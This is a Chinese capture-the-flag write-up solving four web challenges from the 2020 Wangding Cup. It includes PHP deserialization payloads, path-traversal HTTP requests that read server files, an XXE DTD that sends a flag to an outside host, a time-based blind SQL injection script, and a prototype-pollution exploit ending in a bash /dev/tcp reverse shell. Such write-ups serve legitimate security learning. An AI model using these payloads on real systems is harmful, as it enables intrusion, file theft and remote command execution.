0%

2020第二届网鼎杯青龙组Web-WriteUp

AreUSerialz

反序列化,PHP弱类型

题目源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();   
    }
    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

需要注意的点是private属性的%00*%00会被is_valid函数拦掉,又由于PHP7.2+,故直接用public构造序列化后的字符串即可,除此之外,op这个地方直接使用弱类型,传递int型的2即可,payload如下,

1
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:7:"content";N;}

最后base64解码,getflag。

这里要注意的是要使用绝对路径,而绝对路径可以通过/proc/self/cmdline获取到。

以上是比赛时候的解法,赛后和群里的dalao们讨论了下,还有别的解法,在imagin师傅的wp中已经分析的很清楚了(imagin师傅tql),这里提一下,

可以通过直接构造不完整的序列化字符串,提前执行destruct()方法,就可以留在当前程序执行的目录,从而直接使用相对路径读取到文件,payload如下(去掉了最后的“;”和”}“),

1
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N

image-20200511002250813

filejava

CVE-2014-3529 Apache POI OpenXML parser XXE

打开题目首先可以上传文件,尝试上传jsp马儿,找不到绝对路径,无果,

遂从下载的地方入手,尝试跨目录下载。

读取当前应用工作的绝对路径(从imagin师傅博客那里学来的tips🤭),

proc 是个好东西,总结下经常会用到的文件:

  1. maps 记录一些调用的扩展或者自定义 so 文件
  2. environ 环境变量
  3. comm 当前进程运行的程序
  4. cmdline 程序运行的绝对路径
  5. cpuset docker 环境可以看 machine ID
  6. cgroup docker环境下全是 machine ID 不太常用
1
2
3
4
5
6
7
8
9
10
11
GET /file_in_java/DownloadServlet?filename=../../../../../../../../../proc/self/cmdline HTTP/1.1
Host: b302b1bf494d472b8603472d8ac63afe0e057d307fff4132.cloudgame1.ichunqiu.com:8080
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://b302b1bf494d472b8603472d8ac63afe0e057d307fff4132.cloudgame1.ichunqiu.com:8080/file_in_java/UploadServlet
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: 0
Connection: close

Response

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Date: Sun, 10 May 2020 15:49:14 GMT
Content-Length: 457
Connection: close
content-disposition: attachment;filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcmdline
X-Via-JSL: 5c465f4,-
X-Cache: bypass

/usr/local/jdk1.8.0_77/bin/java -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.endorsed.dirs=/usr/local/tomcat/endorsed -classpath /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp org.apache.catalina.startup.Bootstrap start

易知web.xml文件路径为

1
usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml

直接读,

1
2
3
4
5
6
7
8
9
10
11
GET /file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml HTTP/1.1
Host: b302b1bf494d472b8603472d8ac63afe0e057d307fff4132.cloudgame1.ichunqiu.com:8080
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://b302b1bf494d472b8603472d8ac63afe0e057d307fff4132.cloudgame1.ichunqiu.com:8080/file_in_java/UploadServlet
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: 0
Connection: close

成功得到其内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
<display-name>file_in_java</display-name>
<welcome-file-list>
<welcome-file>upload.jsp</welcome-file>
</welcome-file-list>
<servlet>
<description></description>
<display-name>UploadServlet</display-name>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>ListFileServlet</display-name>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>DownloadServlet</display-name>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
</web-app>

有了包名,直接下载编译好的class,还是通过任意文件下载的点,下载如下文件。

1
2
3
4
5
usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class

usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

反编译class文件得到关键代码如下,

image-20200510235954972

这里是不能直接下载flag的。

在UploadServlet.java中,可以看到引入了Apache POI OpenXML parser 且为存在漏洞的3.10版本,

image-20200511000236333

当构造好的payload文件名满足括号中的条件时,则会调用其功能从而触发Blind XXE,无回显引入外部DTD即可实现外带数据,具体操作如下。

准备1.dtd内容如下,使用file协议读flag,

1
2
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://xxx:12354?p=%file;'>">

新建excel-5.xlsx文件,修改文件扩展名为zip,打开,修改其中的[Content_Types].xml,引入dtd。

image-20200511000854308

打包为xlsx,上传,getflag

image-20200511000927235

trace

直接贴脚本吧,死于表名..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import time
import requests
target = "http://xxx.com/register_do.php"
flag = ""
for i in range(1,43):
    for j in range(44,128):
        data = {'username':"0'^if(ascii(substr((select `2` from (select 1,2 union select * from flag)a limit 1,1),"+str(i)+",1))="+str(j)+",pow(9999,100) or sleep(3),pow(9999,100)),'1')#",
            'password':"0"}
        time1 = time.time()
        r = requests.post(target,data=data)
        time2 = time.time()
        if time2 - time1 > 3:
            flag += chr(j)
            print flag
            break

image-20200511001107332

notes

离比赛结束俩小时先放的这个题,所以就去磕这道了淦。

1
2
3
4
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');

文件开头require了undefsafe,versions <2.0.3时,存在原型链污染,参考链接

直接找调用了undefsafe()的地方。

在编辑笔记这块,发现可以利用的点,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

根据参考链接,尝试污染this.note_list,控制id、author、raw 三个变量。

变量名 内容
id __proto__.aaa
author bash -i >&/dev/tcp/ip/444 0>&1
raw test

POST过去后,访问/status,即可获取到反弹shell,之后cat /flag 即可。

image-20200511010312461

最最最后,感谢glotozz师傅、qfrost师傅、fjh1997师傅、Hn13师傅😄。